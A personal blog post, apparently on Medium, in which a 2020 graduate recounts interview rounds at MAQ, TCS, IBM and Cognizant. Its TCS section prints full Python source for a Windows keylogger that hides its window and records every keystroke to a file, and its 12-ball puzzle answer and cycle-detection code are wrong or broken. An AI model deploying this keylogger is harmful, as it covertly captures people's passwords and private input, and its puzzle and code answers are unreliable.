Placement Journey!! ₍⁽⁰꒫⁰⁾₎◞❢

Kona Venkata Sai Lakshmi
5 min readJan 25, 2021

--

Hey! Dev, 👁️🐝Ⓜ️𝓮𝓻 here!! shout out to all 2020 Grads.

Hope you are doing well and made this pandemic productive!! This personal blog is all about how pandemic effected 2020 grads joining. Yeah!! me as well even after bagging 4 offers[Note: Offers are safe but joining was delayed]. ^_^

👁️🐝Ⓜ️𝓮𝓻

I am 2020 Grad from CSE stream. I have Offers from MAQ, IBM, COGNIZANT, TCS. I’m grateful to all 4 Organizations for providing weighted roles and making Interview process to be smooth. it’s a great previlege to choose IBM.

1st Interview (May 23rd, 2019) — MAQ:

Role: Software Engineer | Mode: Virtual | platform: Skype

Interviewer: Mr. vijay G

It contains Basically 4 Rounds

Round-1: Written Test [30 Aptitude Qns in 30 mins, 3 Coding(Dyanamic Programming + N-Queens Problem+ Linked List) in 30 mins]

Round-2: Technical Round L1 [logical mathematical questions to check thinking ability then few coding logic and then Real time Case Study]

Mathematical Question: Out of 12 balls, 1 is defective (either heavier or lighter)… On a beam balance what is the minimum number of tries required to find the defective ball?

sol: Min 5 iterations
> pair them as 4
> Equate one with another //picks defective (lighter/heavier).
> In 3rd,4th and 5th iteration balance two ball from the defective thread which was identified in 2nd iteration. On 5th iterative defective one will be identified weather it’s lighter/heavier.

Coding Question: Given a linked list find whether loop exists or not. Find the starting point of loop.

Logic:

boolean hasCycle(Node head) {

boolean out= false;
Node first = head;
Node second= head;
while(first != null && second != null)
{
first = first.next;
second = second.next.next;
if(first == sec )
{
out= true;
break;
}

}
return out;
}

Real time Case Study: In introduction and in Resume I’ve mentioned that i am Artificial Intelligence enthusiast and done projects on AI so My interviewer given case study to explain about artificial intelligence to an 9 Yr Old kid.

Round-3: Technical Round L2 — Mostly can say Algorithm round and asked few questions on SQL and also about boot spring. Most of questions are about project.

Round-4: HR Round — asked about extra cultural activities, and hackathon, events that i have organized.

Finally from our campus MAQ selected 2 people and I am grateful that I am one among those 2 members.

2nd Interview(September 9th, 2019 )— TCS

Role: ASE(NQT) | Mode: Off campus | Location: Hyderabad

It contains 4 Rounds

Round-1:

NQT: Written test [24 Verbal Ability qns in 30mins, 30 Reasoning Ability qns in 50mins, 26 Numerical Ability qns 40mins, 10 Programming Logic snippets in 15mins, 2 Coding in 45mins]

Top 10,000 people who cleared WT will be called for digital role if not in that top 10K but cleared then they will be called for NQT.

Codevita: written Test [Only coding 3 rounds qualifier(Mode:online,duration:6 hrs), Pre-qualifier(Mode:online,duration:6 hrs), Grand finale(takes place at venue]

Round-2: Technical Round[Merge sort algorithm and asked me to write my Favourite algorithm so I have choosen keyloggers and then about projects I have worked on and mathematical logic].

Mathematical logic: with five 0’s and Mathematical operators what is the maximum value obtained.

sol: ((0!+0!+0!+0!+0!)!)!=120!

Key Loggers:

import win32api

import win32console

import win32gui

import pythoncom, pyHook

import os.path

import os

filename = os.getenv(‘APPDATA’) + ‘log.file’

if os.path.isfile(filename) != True:

f = open(filename, ‘w’)

f.close()

win = win32console.GetConsoleWindow()

win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):

if event.Ascii==5:

_exit(1)

if event.Ascii !=0 or 8:

#open output.txt to read current keystrokes

f = open(filename, ‘r+’)

buffer = f.read()

f.close()

# open output.txt to write current + new keystrokes

f = open(filename, ‘w’)

keylogs = chr(event.Ascii)

if event.Ascii == 13:

keylogs = ‘/n’

buffer += keylogs

f.write(buffer)

f.close()

# create a hook manager object

hm = pyHook.HookManager()

hm.KeyDown = OnKeyboardEvent

# set the hook

hm.HookKeyboard()

# wait forever

pythoncom.PumpMessages()

Round-3(HR) & Round-4(MR): Interviewer asked me to introduce about myself and about difference between products and services and also few TCS Values.

I am grateful that I am selected for NQT role and cleared IPA with 80+ >_<

3rd Interview (November 30th, 2019) — IBM

Role: ASE(GBS) | Mode: Pool drive | drive Location: Vizag

Basically it contains 6 Rounds. each round is an Termination round.

Round-1: Cognitive Ability Games [Gaming round tests spontaneity].

Round-2: Learning Agility Assessments[ Psycometry tests decision making].

Round-3: English

Round-4: Coding

Round-5: Technical Round [Faced Questions on Networking protocols, and few questions on my project and one real time case study]

Round-6:HR[Self Introduction and about events I have organized and about communities I have been part of.

From my college IBM has selected only 4 members and I am grateful that I’m one among them. ^_^

4th Interview (February 16th, 2020) — Cognizant

Role: Programmer Analyst | Mode: Off Campus |Drive Location: Vizag

Contains 3 Rounds

Round-1: Written test(16 Quantitative Aptitude Qns in 16mins, 24 Logical Reasoning in 35 mins, 22 Verbal Ability Qns in 18 mins, 7 Automata fix in 20mins, 2 Programming Qns in 60mins).

Round-2:Technical Round[ self introduction and Quick sort algorithm, few questions on project].

Round-3: HR[self Introduction and asked few logical questions].

Thanks! to CTS for providing this Opportunity.

Hey!! wait at present in my Linkedin feed is mostly filled with FAANG posts even I have one deadline with FAANG. Here you go…

AMAZON — SDE [huddle I faced in this pandemic]

Exception-1: I have applied to amazon cleared OA , within week TR Interview was scheduled where I haven’t Performed well due to lack of Hands on practice in DS & algo.

Exception-2: There are times where college haven’t allowed for internship and lost Full time offer in best organization.

Things I learnt from my Journey:

$ Try to be Java Script rather than Type Script. //instead of complex and imaginary be realistic.

$ Instead of terminating logical bug turn it into Exception. // instead of stopping by failure step forward with confidence.

$ Be Optimistic!!

MY STORY!!

She thought “ it was the main method of her code which she wished to access every time BUT it was that Exception block in her code which she never wanted to access again..!” :(

It - failure in past : Past can’t be accessed just move forward!!

Thanks for the patience!!

I would be more than happy if you send your feedback, suggestions or ask queries. Moreover, I love to connect people who are really passionate about building real time products!!

If you have any suggestions or queries contact me:

Github: https://github.com/KONA-VENKATA-SAI-LAKSHMI

Linkedin: https://www.linkedin.com/in/kona-venkata-sai-lakshmi-938842154/

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Kona Venkata Sai Lakshmi
Kona Venkata Sai Lakshmi

Written by Kona Venkata Sai Lakshmi

IBMer || Lazy Programmer | Artificial Intelligence Enthusiast | Tech Blogger | Sketcher || https://www.linkedin.com/in/kona-venkata-sai-lakshmi-93884

Responses (1)

Write a response